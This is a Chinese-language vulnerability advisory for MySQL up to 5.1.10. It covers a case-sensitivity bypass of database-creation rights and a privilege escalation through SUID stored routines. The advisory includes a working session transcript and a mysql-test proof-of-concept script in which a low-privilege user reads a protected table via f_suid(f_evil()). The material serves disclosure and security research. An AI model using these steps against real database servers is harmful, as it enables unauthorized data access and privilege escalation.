MySQL权限提升及安全限制绕过漏洞

受影响系统：
MySQL AB MySQL <= 5.1.10
描述：
--------------------------------------------------------------------------------
BUGTRAQ ID: 19559

MySQL是一款使用非常广泛的开放源代码关系数据库系统，拥有各种平台的运行版本。

在MySQL上，拥有访问权限但无创建权限的用户可以创建与所访问数据库仅有名称字母大小写区别的新数据库。成功利用这个漏洞要求运行MySQL的文件系统支持区分大小写的文件名。

此外，由于在错误的安全环境中计算了suid例程的参数，攻击者可以通过存储的例程以例程定义者的权限执行任意DML语句。成功攻击要求用户对所存储例程拥有EXECUTE权限。

<*来源：Michal Prokopiuk
Dmitri Lenev

链接：http://secunia.com/advisories/21506/print/
*>

测试方法：
--------------------------------------------------------------------------------

[align=center]警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！[/align]

1 创建数据库

$ mysql -h my.mysql.server -u sample -p -A sample
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 263935 to server version: 4.1.16-standard

mysql> create database another;
ERROR 1044: Access denied for user 'sample'@'%' to database 'another'

mysql> create database sAmple;
Query OK, 1 row affected (0.00 sec)

2 权限提升

--disable_warnings
drop database if exists mysqltest1;
drop database if exists mysqltest2;
drop function if exists f_suid;
--enable_warnings

# Prepare playground
create database mysqltest1;
create database mysqltest2;
create user malory@localhost;
grant all privileges on mysqltest1.* to malory@localhost;

# Create harmless (but SUID!) function
create function f_suid(i int) returns int return 0;
grant execute on function test.f_suid to malory@localhost;

use mysqltest2;
# Create table in which malory@localhost will be interested but to which
# he won't have any access
create table t1 (i int);

connect (malcon, localhost, malory,,mysqltest1);

# Correct malory@localhost don't have access to mysqltest2.t1
--error ER_TABLEACCESS_DENIED_ERROR
select * from mysqltest2.t1;

# Create function which will allow to exploit security hole
delimiter |;
create function f_evil ()
returns int
sql security invoker
begin
set @a:= current_user();
set @b:= (select count(*) from mysqltest2.t1);
return 0;
end|
delimiter ;|

# Again correct
--error ER_TABLEACCESS_DENIED_ERROR
select f_evil();
select @a, @b;

# Oops!!! it seems that f_evil() is executed in the context of
# f_suid() definer, so malory@locahost gets all info that he wants
select test.f_suid(f_evil());
select @a, @b;

connection default;
drop user malory@localhost;
drop database mysqltest1;
drop database mysqltest2;